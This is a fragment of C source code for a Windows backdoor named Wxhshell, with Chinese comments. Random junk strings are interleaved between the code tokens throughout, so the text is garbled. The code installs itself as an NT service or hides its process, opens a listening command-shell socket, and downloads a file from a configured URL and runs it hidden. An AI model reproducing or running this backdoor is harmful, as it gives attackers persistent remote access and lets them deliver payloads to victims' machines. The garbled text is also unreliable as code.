rk|a'& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CjZ6NAHc NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '%O\E{h ro]L}oE+ if (!NtQueryInformationProcess) return 0; APuu_!ez1 Ph\F'xROe hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SA3Y:( if(!hProcess) return 0; 4`0;^K. +-k`x0v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /O"0L/hc^ gT7I9 (x!W CloseHandle(hProcess); $y4M#yv JOHp?3 "4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bcm=G"" if(hProcess==NULL) return 0; %#Q
#N,fw EQ~I'#m7 HMODULE hMod; 8 )`5P\ char procName[255]; |Kn^w4mN unsigned long cbNeeded; cFxSDTR [r~~=b7*[ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RA~_]Hk F~P/*FFK CloseHandle(hProcess); c$.T<r)Z P#9-bYNU if(strstr(procName,"services")) return 1; // 以服务启动 JgZdS-~ oG9SO^v_ return 0; // 注册表启动 D2-O7e } <v-92? N>T=L0` // 主模块 &:,fb]p int StartWxhshell(LPSTR lpCmdLine) dW6Q)Rfi { "p2u+ 8? SOCKET wsl; KKMWD\ BOOL val=TRUE; n]Ebwznt- int port=0; -*5yY#fw} struct sockaddr_in door; C890+(D~ E<P*QZ-C3 if(wscfg.ws_autoins) Install(); 4t(QvIydA *xho port=atoi(lpCmdLine); 0MhxFoFO J2x$uO{Bn if(port<=0) port=wscfg.ws_port; q .)^B@}_ "N]WL5$i WSADATA data; 6q!7i%fK? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8^NE=)cb7w LDSbd,GF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yl|R:/2V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PK9Qm'W b door.sin_family = AF_INET; 0honHP door.sin_addr.s_addr = inet_addr("127.0.0.1"); nFSG<#x\ door.sin_port = htons(port); 5"]aZMua DOA[iT";4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !DCVoc]pV closesocket(wsl); LE Jlo%M return 1; ug>]U ~0 } !vi4*
@: M |aQ)ivh3 if(listen(wsl,2) == INVALID_SOCKET) { Oym]&SrbS closesocket(wsl); >4Fdxa return 1; !WDn7j'A } 7E@$}&E Wxhshell(wsl); W'8J<VBD WSACleanup(); ;%lJD"yF HXz iDnj return 0; r{c5dQ
il<gjlyR]L } )E_!rR _p?I{1O // 以NT服务方式启动 3<yCe%I: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ggzAU6J { P'KY.TjWb DWORD status = 0; vsxvHot= DWORD specificError = 0xfffffff; "1E?3PFJ
3" 8t)s serviceStatus.dwServiceType = SERVICE_WIN32; F5Cqv0HV serviceStatus.dwCurrentState = SERVICE_START_PENDING; hlt9x.e.A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lb=2*dFJ1 serviceStatus.dwWin32ExitCode = 0; h6K!|-Gq. serviceStatus.dwServiceSpecificExitCode = 0; 6B4hSqjh serviceStatus.dwCheckPoint = 0; <;.}WQC serviceStatus.dwWaitHint = 0; *
N2#{eF&] * ,|)~$=> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QLxXp if (hServiceStatusHandle==0) return; N2 M?5fF q
oKQEG2 status = GetLastError(); Zz{[Al{ if (status!=NO_ERROR) )2
{ Sf#\6X<B serviceStatus.dwCurrentState = SERVICE_STOPPED; t>fA!K%{ serviceStatus.dwCheckPoint = 0; 2*b#+ b serviceStatus.dwWaitHint = 0; g#pIMA#/ serviceStatus.dwWin32ExitCode = status; ci#Zvhtkr serviceStatus.dwServiceSpecificExitCode = specificError; K]lb8q}Z~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); _&6juBb return;
~`a#h# } h/fb<jIP1 $u(M 4(} serviceStatus.dwCurrentState = SERVICE_RUNNING; _CYmG"mY serviceStatus.dwCheckPoint = 0; h Js&rpN serviceStatus.dwWaitHint = 0; j@!BOL~? if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vUA)#z< } u k>q\j Phk`=:xh // 处理NT服务事件,比如:启动、停止 bs4fyb VOID WINAPI NTServiceHandler(DWORD fdwControl) 23.y3t_? { U/v"?pg[ switch(fdwControl) Lk$Je
O { E#WjoIk case SERVICE_CONTROL_STOP: }-k_?2"A serviceStatus.dwWin32ExitCode = 0; 98<bF{#0WM serviceStatus.dwCurrentState = SERVICE_STOPPED; h[M6. serviceStatus.dwCheckPoint = 0; AOq9v~)z- serviceStatus.dwWaitHint = 0; 3:z4M9f { U[H+87zg SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3/#R9J# } <%5-Pz p return; `:B case SERVICE_CONTROL_PAUSE: kfG 65aa>_ serviceStatus.dwCurrentState = SERVICE_PAUSED; [7ek;d;'t break; >8.v.;` case SERVICE_CONTROL_CONTINUE: _
cHV3cz serviceStatus.dwCurrentState = SERVICE_RUNNING; Dg];(c+/ break; 96([V|5K case SERVICE_CONTROL_INTERROGATE: %s&E-*X break; T5X'D(\| }; 2!"\;/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); O_%PBgcJr } J_((o qJAv=D // 标准应用程序主函数 4N0W& Dy int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;^*+:e { <LOx.}fv d%[`=fs]|m // 获取操作系统版本 n+A'XBHk OsIsNt=GetOsVer(); !D|pbzQc8 GetModuleFileName(NULL,ExeFile,MAX_PATH); d~xU?)n) F"HI>t)> // 从命令行安装 0'`8HP if(strpbrk(lpCmdLine,"iI")) Install(); iMY0xf8l u"
NIG // 下载执行文件 )b:~kuHi if(wscfg.ws_downexe) { bl!f5RO S( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GhfUCW% WinExec(wscfg.ws_filenam,SW_HIDE); u3v6$CD? } aZ`_W| el*pYI if(!OsIsNt) { W>
-E.#!_ // 如果时win9x,隐藏进程并且设置为注册表启动 7.Kjg_N#Tr HideProc(); e*'|iuDrY StartWxhshell(lpCmdLine); }i/2XmA ) } c<t3y7 else z)?#UdBQv if(StartFromService()) %N AFU/& // 以服务方式启动 X6"^:)&1M StartServiceCtrlDispatcher(DispatchTable); yADN_ else (w@MlMk // 普通方式启动 eL$U M StartWxhshell(lpCmdLine); Kr}M>hF+| c#4L*$ViF return 0; B$[%pm`'2 }
|